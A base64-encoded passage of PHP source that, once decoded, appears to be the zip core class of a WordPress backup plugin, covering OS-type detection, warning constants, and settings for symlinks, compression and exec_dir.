kJCQoJCQkJCSRyZXN1bHQgPSAkc3RhdHM7CgkJCQkKCQkJCX0gZWxzZSB7CgkJCQkKCQkJCQkvLyBIbW0sIHN0YXQoKSBmYWlsZWQgZm9yIHNvbWUgcmVhc29uIC0gY291bGQgYmUgYW4gTEZTIHByb2JsZW0gd2l0aCB0aGUKCQkJCQkvLyB3YXkgUEhQIGhhcyBiZWVuIGJ1aWx0IDotKAoJCQkJCS8vIFRPRE86IENvbnNpZGVyIGFsdGVybmF0aXZlcyAtIG1heSBiZSBhYmxlIHRvIHVzZSBleGVjIHRvIHJ1biB0aGUKCQkJCQkvLyBjb21tYW5kIGxpbmUgc3RhdCBmdW5jdGlvbiB3aGljaCBfc2hvdWxkXyBiZSBvayBhbmQgd2UgY2FuIG1hcCBvdXRwdXQKCQkJCQkvLyBpbnRvIHRoZSBzYW1lIGFycmF5IGZvcm1hdC4gVGhpcyBkb2VzIGRlcGVuZCBvbiBoYXZpbmcgZXhlYygpIGFuZCB0aGUKCQkJCQkvLyBzdGF0IGNvbW1hbmQgYXZhaWxhYmxlIGFuZCBpdCdzIGRlZmluaXRlbHkgbm90IGEgbmljZSBvcHRpb24KCQkJCQkkcmVzdWx0ID0gZmFsc2U7CgkJCQkKCQkJCX0KCQkJCgkJCX0KCQkJCgkJCXJldHVybiAkcmVzdWx0OwoJCX0KCQoJfQoKCWFic3RyYWN0IGNsYXNzIHBsdWdpbmJ1ZGR5X3piemlwY29yZSB7CgkKCQkvLyBzdGF0dXMgbWV0aG9kIHR5cGUgcGFyYW1ldGVyIHZhbHVlcyAtIHdvdWxkIGxpa2UgYSBjbGFzcyBmb3IgdGhpcwoJCWNvbnN0IFNUQVRVU19UWVBFX0RFVEFJTFMgICAgICAgPSAnZGV0YWlscyc7CgkJCgkJLy8gQ29uc3RhbnRzIGZvciBoYW5kbGluZyBwYXRocwoJCWNvbnN0IE5PUk1fRElSRUNUT1JZX1NFUEFSQVRPUiAgPSAnLyc7CgkJY29uc3QgRElSRUNUT1JZX1NFUEFSQVRPUlMgICAgICA9ICcvXFwnOwoKCQkvLyBDb25zdGFudHMgZm9yIHJlc3VsdCBoYW5kbGluZwoJCWNvbnN0IE1BWF9FUlJPUl9MSU5FU19UT19TSE9XICAgPSAyMDsKCQljb25zdCBNQVhfV0FSTklOR19MSU5FU19UT19TSE9XID0gMjA7CgkJY29uc3QgTUFYX09USEVSX0xJTkVTX1RPX1NIT1cgICA9IDIwOwoJCQoJCS8vIEVudW1lcmF0ZWQgdHlwZXMgdGhhdCB3ZSBuZWVkIGZvciBub3cKCQkvLyBOb3RlOiBWYWx1ZXMgbXVzdCBiZSBzZXF1ZW50aWFsCgkJY29uc3QgT1NfVFlQRV9VTktOT1dOIAk9CTA7CgkJY29uc3QgT1NfVFlQRV9OSVgJCT0JMTsKCQljb25zdCBPU19UWVBFX1dJTgkJPQkyOwoJCWNvbnN0IE9TX1RZUEVfTUFYCQk9CTI7CgoJCWNvbnN0IFpJUF9XQVJOSU5HX1VOS05PV04gIAkJCT0gMDsKCQljb25zdCBaSVBfV0FSTklOR19HRU5FUklDICAJCQk9IDE7CgkJY29uc3QgWklQX1dBUk5JTkdfU0tJUFBFRCAgCQkJPSAyOwoJCWNvbnN0IFpJUF9XQVJOSU5HX0ZJTFRFUkVEIAkJCT0gMzsKCQljb25zdCBaSVBfV0FSTklOR19MT05HUEFUSCAJCQk9IDQ7CgkJY29uc3QgWklQX1dBUk5JTkdfSUdOT1JFRF9TWU1MSU5LIAk9IDU7CgkJCgkJY29uc3QgWklQX09USEVSX1VOS05PV04gICAgICAgICA9IDA7CgkJY29uc3QgWklQX09USEVSX0dFTkVSSUMgICAgICAgICA9IDE7CgkJY29uc3QgWklQX09USEVSX1NLSVBQRUQgIAkJPSAyOwoJCWNvbnN0IFpJUF9PVEhFUl9GSUxURVJFRCAJCT0gMzsKCQljb25zdCBaSVBfT1RIRVJfTE9OR1BBVEggCQk9IDQ7CgkJY29uc3QgWklQX09USEVSX0lHTk9SRURfU1lNTElOSwk9IDU7CgkJCgkJY29uc3QgQ09NTUFORF9VTktOT1dOX1BBVEgJPSAwOwoJCWNvbnN0IENPTU1BTkRfWklQX1BBVEgJCT0gMTsKCQljb25zdCBDT01NQU5EX1VOWklQX1BBVEgJPSAyOwoKCQlwdWJsaWMgJF92ZXJzaW9uID0gJzEuMCc7CgoKICAgICAgICAvKioKICAgICAgICAgKiBUaGUgcGx1Z2luIHBhdGggZm9yIHRoaXMgcGx1Z2luCiAgICAgICAgICogCiAgICAgICAgICogQHZhciAkX3BsdWdpblBhdGggc3RyaW5nCiAgICAgICAgICovCiAgICAgICAgcHVibGljICRfcGx1Z2luUGF0aCA9ICcnOwoKICAgICAgICAvKioKICAgICAgICAgKiBUaGUgcGF0aCBvZiB0aGlzIGRpcmVjdG9yeSBub2RlCiAgICAgICAgICogCiAgICAgICAgICogQHZhciBwYXRoIHN0cmluZwogICAgICAgICAqLwogICAgICAgIHByb3RlY3RlZCAkX3BhdGggPSAiIjsKICAgICAgICAKICAgICAgICAvKioKICAgICAgICAgKiBUaGUgYWJzb2x1dGUgcGF0aHMgdG8gYmUgZXhjbHVkZWQsIG11c3QgYmUgLyB0ZXJtaW5hdGVkCiAgICAgICAgICogCiAgICAgICAgICogQHZhciBwYXRoc190b19leGNsdWRlIGFycmF5IG9mIHN0cmluZwogICAgICAgICAqLwogICAgICAgIHByb3RlY3RlZCAkX3BhdGhzX3RvX2V4Y2x1ZGUgPSBhcnJheSgpOwoKICAgICAgICAvKioKICAgICAgICAgKiBUaGUgZGV0YWlscyBvZiB0aGUgbWV0aG9kCiAgICAgICAgICogCiAgICAgICAgICogQHZhciBtZXRob2RfZGV0YWlscyBhcnJheQogICAgICAgICAqLwoJCXByb3RlY3RlZCAkX21ldGhvZF9kZXRhaWxzID0gYXJyYXkoKTsKCQkKICAgICAgICAvKioKICAgICAgICAgKiBUaGUgc2V0IG9mIHBhdGhzIHdoZXJlIHRvIGxvb2sgZm9yIGV4ZWN1dGFibGVzCiAgICAgICAgICogCiAgICAgICAgICogQHZhciAgZXhlY3V0YWJsZV9wYXRocwlhcnJheQogICAgICAgICAqLwoJCXByb3RlY3RlZCAkX2V4ZWN1dGFibGVfcGF0aHMgPSBhcnJheSgpOwoJCQogICAgICAgIC8qKgogICAgICAgICAqIEFycmF5IG9mIHN0YXR1cyBpbmZvcm1hdGlvbgogICAgICAgICAqIAogICAgICAgICAqIEB2YXIgc3RhdHVzIGFycmF5CiAgICAgICAgICovCgkJcHJvdGVjdGVkICRfc3RhdHVzID0gYXJyYXkoKTsKCQkKICAgICAgICAvKioKICAgICAgICAgKiBFbnVtZXJhdGVkIE9TIHR5cGUKICAgICAgICAgKiAKICAgICAgICAgKiBAdmFyIG9zX3R5cGUJaW50CiAgICAgICAgICovCgkJcHJvdGVjdGVkICRfb3NfdHlwZSA9IHNlbGY6Ok9TX1RZUEVfVU5LTk9XTjsKCQkKICAgICAgICAvKioKICAgICAgICAgKiBDb252ZW5pZW5jZSBib29sZWFuIGluZGljYXRpbmcgaWYgUEhQIGhhcyBleGVjX2RpciBzZXQgb3Igbm90CiAgICAgICAgICogCiAgICAgICAgICogQHZhciBleGVjX2Rpcl9zZXQJYm9vbAogICAgICAgICAqLwoJCXByb3RlY3RlZCAkX2V4ZWNfZGlyX3NldCA9IGZhbHNlOwoJCQogICAgICAgIC8qKgogICAgICAgICAqIENvbnZlbmllbmNlIGJvb2xlYW4gaW5kaWNhdGluZyBpZiBXYXJuaW5ncyBzaG91bGQgYmUgaWdub3JlZCB3aGVuIGJ1aWxkaW5nIGFyY2hpdmVzCiAgICAgICAgICogCiAgICAgICAgICogQHZhciBpZ25vcmVfd2FybmluZ3MJYm9vbAogICAgICAgICAqLwoJCXByb3RlY3RlZCAkX2lnbm9yZV93YXJuaW5ncyA9IGZhbHNlOwoJCQogICAgICAgIC8qKgogICAgICAgICAqIENvbnZlbmllbmNlIGJvb2xlYW4gaW5kaWNhdGluZyBpZiBzeW1saW5rcyBzaG91bGQgYmUgaWdub3JlZC9ub3QtZm9sbG93ZWQgd2hlbiBidWlsZGluZyBhcmNoaXZlcwogICAgICAgICAqIAogICAgICAgICAqIEB2YXIgaWdub3JlX3N5bWxpbmtzCWJvb2wKICAgICAgICAgKi8KCQlwcm90ZWN0ZWQgJF9pZ25vcmVfc3ltbGlua3MgPSBmYWxzZTsKCQkKICAgICAgICAgLyoqCiAgICAgICAgICogQ29udmVuaWVuY2UgYm9vbGVhbiBpbmRpY2F0aW5nIGlmIGNvbXByZXNzaW9uIHNob3VsIGRiZSB1c2VkIHdoZW4gYnVpbGRpbmcgYXJjaGl2ZXMKICAgICAgICAgKiAKICAgICAgICAgKiBAdmFyIGNvbXByZXNzaW9uCWJvb2wKICAgICAgICAgKi8KCQlwcm90ZWN0ZWQgJF9jb21wcmVzc2lvbiA9IGZhbHNlOwoJCQogICAgICAgLyoqCiAgICAgICAgICogVXNlZCB0byB0cmFuc2xhdGUgb3VyIHdhcm5pbmdzIHJlYXNvbnMgaW50byBhIGxvbmdlciBkZXNjcmlwdGlvbgogICAgICAgICAqIAogICAgICAgICAqIEB2YXIgYXJyYXkKICAgICAgICAgKi8KCQlwdWJsaWMgc3RhdGljICRfd2FybmluZ19kZXNjID0gYXJyYXkoIHNlbGY6OlpJUF9XQVJOSU5HX1VOS05PV04gIAkJCT0+ICd3YXJuaW5nIHJlYXNvbiB1bmtub3duJywKCQkJCQkJCQkJCQkgIHNlbGY6OlpJUF9XQVJOSU5HX0dFTkVSSUMgIAkJCT0+ICdnZW5lcmFsIHByb2JsZW0gYXMgaW5kaWNhdGVkJywKCQkJCQkJCQkJCQkgIHNlbGY6OlpJUF9XQVJOSU5HX1NLSVBQRUQgIAkJCT0+ICdmaWxlIHVucmVhZGFibGUgb3IgZG9lcyBub3QgZXhpc3QnLAoJCQkJCQkJCQkJCSAgc2VsZjo6WklQX1dBUk5JTkdfRklMVEVSRUQgCQkJPT4gJ2ZpbGUgZmlsdGVyZWQnLAoJCQkJCQkJCQkJCSAgc2VsZjo6WklQX1dBUk5JTkdfTE9OR1BBVEggCQkJPT4gJ2ZpbGVuYW1lIHBhdGggdG9vIGxvbmcnLAoJCQkJCQkJCQkJCSAgc2VsZjo6WklQX1dBUk5JTkdfSUdOT1JFRF9TWU1MSU5LICAJPT4gJ2ZpbGUgaXMgYSBzeW1saW5rIGFuZCBpcyBpZ25vcmVkIGJhc2VkIG9uIHNldHRpbmdzJywKCQkJCQkJCQkJCQkgKTsKCgkJcHVibGljIHN0YXRpYyAkX290aGVyX2Rlc2MgICA9IGFycmF5KCBzZWxmOjpaSVBfT1RIRVJfVU5LTk9XTiAJCQk9PiAnb3RoZXIgcmVhc29uIHVua25vd24nLAoJCQkJCQkJCQkJCSAgc2VsZjo6WklQX09USEVSX0dFTkVSSUMgCQkJPT4gJ290aGVyIHByb2JsZW0gYXMgaW5kaWNhdGVkJywKCQkJCQkJCQkJCQkgIHNlbGY6OlpJUF9PVEhFUl9TS0lQUEVEIAkJCT0+ICdmaWxlIHVucmVhZGFibGUgb3IgZG9lcyBub3QgZXhpc3QnLAoJCQkJCQkJCQkJCSAgc2VsZjo6WklQX09USEVSX0ZJTFRFUkVECQkJPT4gJ2ZpbGUgZmlsdGVyZWQnLAoJCQkJCQkJCQkJCSAgc2VsZjo6WklQX09USEVSX0xPTkdQQVRIIAkJCT0+ICdmaWxlbmFtZSBwYXRoIHRvbyBsb25nJywKCQkJCQkJCQkJCQkgIHNlbGY6OlpJUF9PVEhFUl9JR05PUkVEX1NZTUxJTksJPT4gJ2ZpbGUgaXMgYSBzeW1saW5rIGFuZCBpcyBpZ25vcmVkIGJhc2VkIG9uIHNldHRpbmdzJywKCQkJCQkJCQkJCQkgKTsKCiAgICAgICAgLyoqCiAgICAgICAgICogVGhlIFNlcnZlciBBUEkgdGhhdCBpcyBpbiB1c2UKICAgICAgICAgKiAKICAgICAgICAgKiBAdmFyIHN0cmluZwogICAgICAgICAqLwoJCXByb3RlY3RlZCAkX3NhcGlfbmFtZSA9ICIiOwoKCQkvKioKCQkgKglfX2NvbnN0cnVjdCgpCgkJICoJCgkJICoJRGVmYXVsdCBjb25zdHJ1Y3Rvci4KCQkgKgkKCQkgKglAcmV0dXJuCQludWxsCgkJICoKCQkgKi8KCQlwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKSB7CgkJCgkJCS8vIE1ha2Ugc3VyZSB3ZSBrbm93IHdoYXQgd2UgYXJlIHJ1bm5pbmcgb24gZm9yIGxhdGVyCgkJCSR0aGlzLT5zZXRfb3NfdHlwZSgpOwoJCQkKCQkJLy8gRGVyaXZlIHdoZXRoZXIgd2UgYXJlIGlnbm9yaW5nIFdhcm5pbmdzIG9yIG5vdCAoZXhwZWN0ZWQgdG8gYmUgb3ZlcnJpZGRlbiBieSB1c2VyKQoJCQkkdGhpcy0+c2V0X2lnbm9yZV93YXJuaW5ncygpOwoJCQkKCQkJLy8gRGVyaXZlIHdoZXRoZXIgd2UgYXJlIGlnbm9yaW5nL25vdC1mb2xsb3dpbmcgc3ltbGlua3Mgb3Igbm90IChleHBlY3RlZCB0byBiZSBvdmVycmlkZGVuIGJ5IHVzZXIpCgkJCSR0aGlzLT5zZXRfaWdub3JlX3N5bWxpbmtzKCk7CgkJCQoJCQkvLyBEZXJpdmUgd2hldGhlciBjb21wcmVzc2lvbiBzaG91bGQgYmUgdXNlZCAoZXhwZWN0ZWQgdG8gYmUgb3ZlcnJpZGRlbiBieSB1c2VyKQoJCQkkdGhpcy0+c2V0X2NvbXByZXNzaW9uKCk7CgkJCQoJCQkvLyBTcGVjaWZpYyBtZXRob2QgY29uc3RydWN0b3Igd2lsbCBvdmVycmlkZSBzb21lIG9mIHRoZXNlIGFuZCB0aGUgdGVzdHMgbWF5IG92ZXJyaWRlIG90aGVycwoJCQkkdGhpcy0+X21ldGhvZF9kZXRhaWxzWyAnYXR0cicgXSA9IGFycmF5KCAnbmFtZScgPT4gJ1Vua25vd24gTWV0aG9kJywKCQkJCQkJCQkJCQkJCSAgJ2NvbXBhdGliaWxpdHknID0+IGZhbHNlICwKCQkJCQkJCQkJCQkJCSAgJ2lzX2NoZWNrZXInID0+IGZhbHNlLAoJCQkJCQkJCQkJCQkJICAnaXNfbGlzdGVyJyA9PiBmYWxzZSwKCQkJCQkJCQkJCQkJCSAgJ2lzX2FyY2hpdmVyJyA9PiBmYWxzZSwKCQkJCQkJCQkJCQkJCSAgJ2lzX3VuYXJjaGl2ZXInID0+IGZhbHNlLAoJCQkJCQkJCQkJCQkJICAnaXNfY29tbWVudGVyJyA9PiBmYWxzZSwKCQkJCQkJCQkJCQkJCSAgJ2lzX3ppcHBlcicgPT4gZmFsc2UsCgkJCQkJCQkJCQkJCQkgICdpc191bnppcHBlcicgPT4gZmFsc2UsCgkJCQkJCQkJCQkJCQkgICdpc19leHRyYWN0b3InID0+IGZhbHNlLAoJCQkJCQkJCQkJCQkJICAnY2FuX2FkZF92aXJ0dWFsX2ZpbGUnID0+IGZhbHNlCgkJCQkJCQkJCQkJCQkgKTsKCgkJCS8vIE11c3QgX25vdF8gZGVmYXVsdCAncGF0aCcgdmFsdWVzIGJlY2F1c2Ugd2UgdGVzdCB3aGV0aGVyIHNldCBvciBub3QgdG8gZGVjaWRlIHdoZXRoZXIgdG8gdXNlCgkJCSR0aGlzLT5fbWV0aG9kX2RldGFpbHNbICdwYXJhbScgXSA9IGFycmF5KCAvLyAncGF0aCcgPT4gJycsCgkJCQkJCQkJCQkJCQkgICAnemlwJyA9PiBhcnJheSggLy8gJ3BhdGgnID0+ICcnLAoJCQkJCQkJCQkJCQkJICAgCQkndmVyc2lvbicgPT4gYXJyYXkoICdtYWpvcicgPT4gMCwgJ21pbm9yJyA9PiAwICksCgkJCQkJCQkJCQkJCQkgICAJCSdvcHRpb25zJyA9PiAnJywKCQkJCQkJCQkJCQkJCSAgIAkJJ2luZm8nID0+ICcnICksCgkJCQkJCQkJCQkJCQkgICAndW56aXAnID0+IGFycmF5KCAvLyAncGF0aCcgPT4gJycsCgkJCQkJCQkJCQkJCQkgICAJCSd2ZXJzaW9uJyA9PiBhcnJheSggJ21ham9yJyA9PiAwLCAnbWlub3InID0+IDAgKSwKCQkJCQkJCQkJCQkJCSAgIAkJJ29wdGlvbnMnID0+ICcnLAoJCQkJCQkJCQkJCQkJICAgCQknaW5mbycgPT4gJycgKQoJCQkJCQkJCQkJCQkJICk7CgoJCX0KCQkKCQkvKioKCQkgKglfX2Rlc3RydWN0KCkKCQkgKgkKCQkgKglEZWZhdWx0IGRlc3RydWN0b3IuCgkJICoJCgkJICoJQHJldHVybgkJbnVsbAoJCSAqCgkJICovCgkJcHVibGljIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoICkgewoKCQl9CgkJCQkKCQkvKioKCQkgKglzZXRfb3NfdHlwZSgpCgkJICoKCQkgKglTZXRzIHRoZSBpZGVudGlmaWVyIGZvciB0aGUgT1MgdHlwZSB0aGF0IHdlIGFyZSBydW5uaW5nIG9uIHRoYXQgY2FuIHRoZW4gYmUgdXNlZCBmb3IKCQkgKglPUyBzcGVjaWZpYyBwcm9jZXNzaW5nLiBJZiBubyBlbnVtZXJhdGVkIHR5cGUgdmFsdWUgaXMgcGFzc2VkIGluIHRoZW4gZGVkdWNlIHRoZQoJCSAqCXZhbHVlIHRvIHNldCBmcm9tIHN5c3RlbSBpbmZvcm1hdGlvbi4KCQkgKglOb3RlOiBDdXJyZW50bHkgdXNlcyBQSFBfT1Mgd2hpY2ggc3RyaWN0bHkgc3BlYWtpbmcgaXMgdGhlIE9TIHRoYXQgUEhQIHdhcyBidWlsdCBvbgoJCSAqCXdoZXJlYXMgcGhwX3VuYW1lKCkgY291bGQgYmUgdXNlZCB0byBkZXRlcm1pbmUgdGhlIGFjdHVhbCBPUyBiZWluZyBydW4gb24gaWYgd2UgcmVhbGx5CgkJICoJbmVlZCB0aGF0IChhbmQgc29tZXRpbWVzIGl0IGhhcyB0byByZXZlcnQgYmFjayB0byBqdXN0IHJldHVybmluZyB0aGUgUEhQX09TIHZhbHVlIGlmCgkJICoJdGhlIE9TIHVuYW1lIGxpYnJhcnkgZG9lc24ndCBleGlzdCBvciBpc24ndCB3b3JraW5nIHByb3Blcmx5LgoJCSAqCgkJICoJQHBhcmFtCQkkb3NfdHlwZQlpbnQJCU9TIHR5cGUgdG8gc2V0IChjYW4gYmUgdXNlZCB0byBvdmVycmlkZSBkZWR1Y2VkIHR5cGUpCgkJICoKCQkgKi8KCQkgcHVibGljIGZ1bmN0aW9uIHNldF9vc190eXBlKCAkb3NfdHlwZSA9IFBIUF9JTlRfTUFYICkgewoJCSAKCQkgCS8vIENoZWNrIGlmIHdlIGhhdmUgYmVlbiBnaXZlbiBhIHZhbGlkIGVudW1lcmF0ZWQgdmFsdWUKCQkgCWlmICggKCBzZWxmOjpPU19UWVBFX1VOS05PV04gPCAkb3NfdHlwZSApICYmICggc2VsZjo6T1NfVFlQRV9NQVggPj0gJG9zX3R5cGUgKSApIHsKCQkgCQoJCSAJCSR0aGlzLT5fb3NfdHlwZSA9ICRvc190eXBlOwoJCSAJCQoJCSAJfSBlbHNlIHsKCQkgCQkKCQkgCQkvLyBVc2UgVUMgZm9yIGVhc2UgLSB0aGlzIF9zaG91bGQgbm90PyBjYXVzZSBhbnkgYW1iaWd1aXR5CgkJIAkJJG9zX25hbWUgPSBzdHJ0b3VwcGVyKCBQSFBfT1MgKTsKCQkgCgkJIAkJLy8gQ3VycmVudGx5IHdlJ2xsIGFzc3VtZSBhbnl0aGluZyB0aGF0IGRvZXNuJ3QgbG9vayBsaWtlIFdpbmRvd3MgaXMgKm5peCBiYXNlZAoJCSAJCWlmICggc3Vic3RyKCAkb3NfbmFtZSwgMCwgMyApID09PSAnV0lOJykgewoJCSAJCQoJCSAJCQkkdGhpcy0+X29zX3R5cGUgPSBzZWxmOjpPU19UWVBFX1dJTjsKCQkgCQkJCgkJIAkJfSBlbHNlIHsKCQkgCQkKCQkgCQkJJHRoaXMtPl9vc190eXBlID0gc2VsZjo6T1NfVFlQRV9OSVg7CgkJIAkJCQoJCSAJCX0KCQkgCQoJCSAJfQoJCSAJCgkJIAlyZXR1cm4gJHRoaXM7CgkJIAkKCQkgfQoKCQkvKioKCQkgKglnZXRfb3NfdHlwZSgpCgkJICoKCQkgKglHZXRzIHRoZSBlbnVtZXJhdGVkIGlkZW50aWZpZXIgZm9yIHRoZSBPUyB0eXBlIHRoYXQgd2UgYXJlIHJ1bm5pbmcgb24KCQkgKgoJCSAqCUByZXR1cm4JCWludAkJRW51bWVyYXRlZCBPUyB0eXBlIHZhbHVlCgkJICoKCQkgKi8KCQkgcHVibGljIGZ1bmN0aW9uIGdldF9vc190eXBlKCApIHsKCQkgCgkJCXJldHVybiAkdGhpcy0+X29zX3R5cGU7CgoJCSB9CgoJCS8qKgoJCSAqCXNldF9leGVjX2Rpcl9mbGFnKCkKCQkgKgoJCSAqCUNoZWNrcyB3aGV0aGVyIGV4ZWNfZGlyIGlzIHNldCBpbiBQSFAgZW52aXJvbm1lbnQgYW5kIHNldHMgaW50ZXJuYWwgZmxhZwoJCSAqCgkJICoJQHJldHVybgkJYm9vbAkJVHJ1ZSBpcyBleGVjX2RpciBpcyBzZXQgYW5kIG5vdC1lbXB0eQoJCSAqCgkJICovCgkJIHB1YmxpYyBmdW5jdGlvbiBzZXRfZXhlY19kaXJfZmxhZyggKSB7CgkJIAoJCSAJJGV4ZWNfZGlyID0gJyc7CgkJIAkkcmVzdWx0ID0gZmFsc2U7CgoJCSAJaWYgKCAoIGZhbHNlICE9PSAoICRleGVjX2RpciA9IGluaV9nZXQoICdleGVjX2RpcicgKSApICkgJiYgKCAnJyAhPSB0cmltKCAkZXhlY19kaXIgKSApICkgewoJCSAJCgkJIAkJJHJlc3VsdCA9IHRydWU7CgkJIAkKCQkgCX0gZWxzZSB7CgkJIAkKCQkgCQkkcmVzdWx0ID0gZmFsc2U7CgkJIAkJCgkJIAl9CgkJIAoJCSAJJHRoaXMtPl9leGVjX2Rpcl9zZXQgPSAkcmVzdWx0OwoKCQkJcmV0dXJuICR0aGlzOwoKCQkgfQoKCQkvKioKCQkgKglnZXRfZXhlY19kaXJfZmxhZygpCgkJICoKCQkgKglHZXRzIHRoZSBmbGFnIGluZGljYXRpbmcgdGhlIHN0YXR1cyBvZiBleGVjX2RpciBzZXR0aW5nCgkJICoKCQkgKglAcmV0dXJuCQlib29sCQlWYWx1ZSBvZiAkX2V4ZWNfZGlyX3NldAoJCSAqCgkJICovCgkJIHB1YmxpYyBmdW5jdGlvbiBnZXRfZXhlY19kaXJfZmxhZygpIHsKCQkgCgkJCXJldHVybiAkdGhpcy0+X2V4ZWNfZGlyX3NldDsKCgkJIH0KCgkJLyoqCgkJICoJc2V0X2lnbm9yZV93YXJuaW5ncygpCgkJICoKCQkgKglDaGVja3MgY29uZGl0aW9ucyB0byBzZWUgaWYgd2FybmluZ3Mgc2hvdWxkIGJlIGlnbm9yZWQgd2hlbiBhcmNoaXZlcyBhcmUKCQkgKgliZWluZyBidWlsdC4KCQkgKgoJCSAqCUBwYXJhbQkJYm9vbAkkaWdub3JlCUZhbHNlIHRvIG5vdCBpZ25vcmUgd2FybmluZ3MsIFRydWUgdG8gZm9yY2UgaWdub3JlCgkJICoJQHJldHVybgkJYm9vbAkJCVRydWUgaWYgY29uZGl0aW9ucyBpbmRpY2F0ZSB3YXJuaW5ncyBzaG91bGQgYmUgaWdub3JlZCwgZmFsc2Ugb3RoZXJ3aXNlCgkJICoKCQkgKi8KCQkgcHVibGljIGZ1bmN0aW9uIHNldF9pZ25vcmVfd2FybmluZ3MoICRpZ25vcmUgPSBudWxsICkgewoJCSAKCQkgCSR0aGlzLT5faWdub3JlX3dhcm5pbmdzID0gKCBpc19ib29sKCAkaWdub3JlICkgKSA/ICRpZ25vcmUgOiBmYWxzZSA7CgoJCQlyZXR1cm4gJHRoaXM7CgoJCSB9CgoJCS8qKgoJCSAqCWdldF9pZ25vcmVfd2FybmluZ3MoKQoJCSAqCgkJICoJR2V0cyB0aGUgZmxhZyBpbmRpY2F0aW5nIHdoZXRoZXIgd2FybmluZ3Mgc2hvdWxkIGJlIGlnbm9yZWQgd2hlbiBidWlsZGluZyBhcmNoaXZlcwoJCSAqCgkJICoJQHJldHVybgkJYm9vbAkJVmFsdWUgb2YgJF9pZ25vcmVfd2FybmluZ3MKCQkgKgoJCSAqLwoJCSBwdWJsaWMgZnVuY3Rpb24gZ2V0X2lnbm9yZV93YXJuaW5ncygpIHsKCQkgCgkJCXJldHVybiAkdGhpcy0+X2lnbm9yZV93YXJuaW5nczsKCgkJIH0KCgkJLyoqCgkJICoJc2V0X2lnbm9yZV9zeW5saW5rcygpCgkJICoKCQkgKglDaGVja3MgY29uZGl0aW9ucyB0byBzZWUgaWYgc3ltbGlua3Mgc2hvdWxkIGJlIGlnbm9yZWQvbm90LWZvbGxvd2VkIHdoZW4gYXJjaGl2ZXMgYXJlCgkJICoJYmVpbmcgYnVpbHQuCgkJICoKCQkgKglAcGFyYW0JCWJvb2wJJGlnbm9yZQlGYWxzZSB0byBub3QgaWdub3JlIHN5bWxpbmtzLCBUcnVlIHRvIGZvcmNlIGlnbm9yZQoJCSAqCUByZXR1cm4JCWJvb2wJCQlUcnVlIGlmIGNvbmRpdGlvbnMgaW5kaWNhdGUgc3ltbGlua3Mgc2hvdWxkIGJlIGlnbm9yZWQvbm90LWZvbGxvd2VkLCBmYWxzZSBvdGhlcndpc2UKCQkgKgoJCSAqLwoJCSBwdWJsaWMgZnVuY3Rpb24gc2V0X2lnbm9yZV9zeW1saW5rcyggJGlnbm9yZSA9IG51bGwgKSB7CgkJIAoJCSAJJHRoaXMtPl9pZ25vcmVfc3ltbGlua3MgPSAgKCBpc19ib29sKCAkaWdub3JlICkgKSA/ICRpZ25vcmUgOiB0cnVlIDsKCgkJCXJldHVybiAkdGhpczsKCgkJIH0KCgkJLyoqCgkJICoJZ2V0X2lnbm9yZV9zeW1saW5rcygpCgkJICoJCgkJICoJVGhpcyByZXR1cm5zIHRydWUgaWYgdGhlIG9wdGlvbiB0byBpZ25vcmUgc3ltbGlua3MgaXMgc2V0LiBJbiB0aGlzIGNvbnRleHQgaWdub3JpbmcKCQkgKgltZWFucyBub3QgZm9sbG93aW5nIGJ1dCB0aGUgc3ltbGluayBpdHNlbGYgaXMgcmVjb3JkZWQgaW4gdGhlIGJhY2t1cAoJCSAqCQoJCSAqCUByZXR1cm4JCWJvb2wJCQkJVmFsdWUgb2YgJF9pZ25vcmVfc3ltbGlua3MKCQkgKgoJCSAqLwoJCXByb3RlY3RlZCBmdW5jdGlvbiBnZXRfaWdub3JlX3N5bWxpbmtzKCkgewoJCQoJCQlyZXR1cm4gJHRoaXMtPl9pZ25vcmVfc3ltbGlua3M7CgkJCgkJfQoJCQoJCS8qKgoJCSAqCXNldF9jb21wcmVzc2lvbigpCgkJICoKCQkgKglDaGVja3MgY29uZGl0aW9ucyB0byBzZWUgaWYgY29tcHJlc3Npb24gc2hvdWxkIGJlIHVzZWQgd2hlbiBidWlsZGluZyBhcmNoaXZlLgoJCSAqCgkJICoJQHBhcmFtCQlib29sCSRjb21wcmVzc2lvbglGYWxzZSB0byBwcm9oaWJpdCBjb21wcmVzc2lvbiwgVHJ1ZSB0byBmb3JjZSBjb21wcmVzc2lvbgoJCSAqCUByZXR1cm4JCWJvb2wJCQkJCVRydWUgaWYgY29uZGl0aW9ucyBpbmRpY2F0ZSBjb21wcmVzc2lvbiBzaG91bGQgYmUgdXNlZCwgZmFsc2Ugb3RoZXJ3aXNlCgkJICoKCQkgKi8KCQkgcHVibGljIGZ1bmN0aW9uIHNldF9jb21wcmVzc2lvbiggJGNvbXByZXNzaW9uID0gbnVsbCApIHsKCQkgCgkJIAkkdGhpcy0+X2NvbXByZXNzaW9uID0gICggaXNfYm9vbCggJGNvbXByZXNzaW9uICkgKSA/ICRjb21wcmVzc2lvbiA6IHRydWUgOwoKCQkJcmV0dXJuICR0aGlzOwoKCQkgfQoKCQkvKioKCQkgKglnZXRfY29tcHJlc3Npb24oKQoJCSAqCQoJCSAqCVRoaXMgcmV0dXJucyB0cnVlIGlmIHRoZSBvcHRpb24gdG8gdXNlIGNvbXByZXNzaW9uIGlzIHNldC4KCQkgKgkKCQkgKglAcmV0dXJuCQlib29sCQkJCVZhbHVlIG9mICRfY29tcHJlc3Npb24KCQkgKgoJCSAqLwoJCXByb3RlY3RlZCBmdW5jdGlvbiBnZXRfY29tcHJlc3Npb24oKSB7CgkJCgkJCXJldHVybiAkdGhpcy0+X2NvbXByZXNzaW9uOwoJCQoJCX0KCQkKCQkvKioKCQkgKglzZXRfc2FwaV9uYW1lKCkKCQkgKgoJCSAqCVNldHMgdGhlIHNhcGkgbmFtZSB0byB0aGF0IGdpdmVuIG9yIGxlYXZlIGVtcHR5CgkJICoKCQkgKglAcGFyYW0Jc3RyaW5nCSRuYW1lCUEgc2FwaSBuYW1lIHRvIHNldCAoZGVmYXVsdCBlbXB0eSkKCQkgKglAcmV0dXJuCW9iamVjdAkJCVRoaXMgb2JqZWN0CgkJICovCgkJcHVibGljIGZ1bmN0aW9uIHNldF9zYXBpX25hbWUoICRzYXBpX25hbWUgPSAiIiApIHsKCQkKCQkJJHRoaXMtPl9zYXBpX25hbWUgPSAkc2FwaV9uYW1lOwoJCQkKCQkJcmV0dXJuICR0aGlzOwoJCQkKCQl9CgoJCS8qKgoJCSAqCWdldF9zYXBpX25hbWUoKQoJCSAqCgkJICoJUmV0dXJucyB0aGUgcHJldml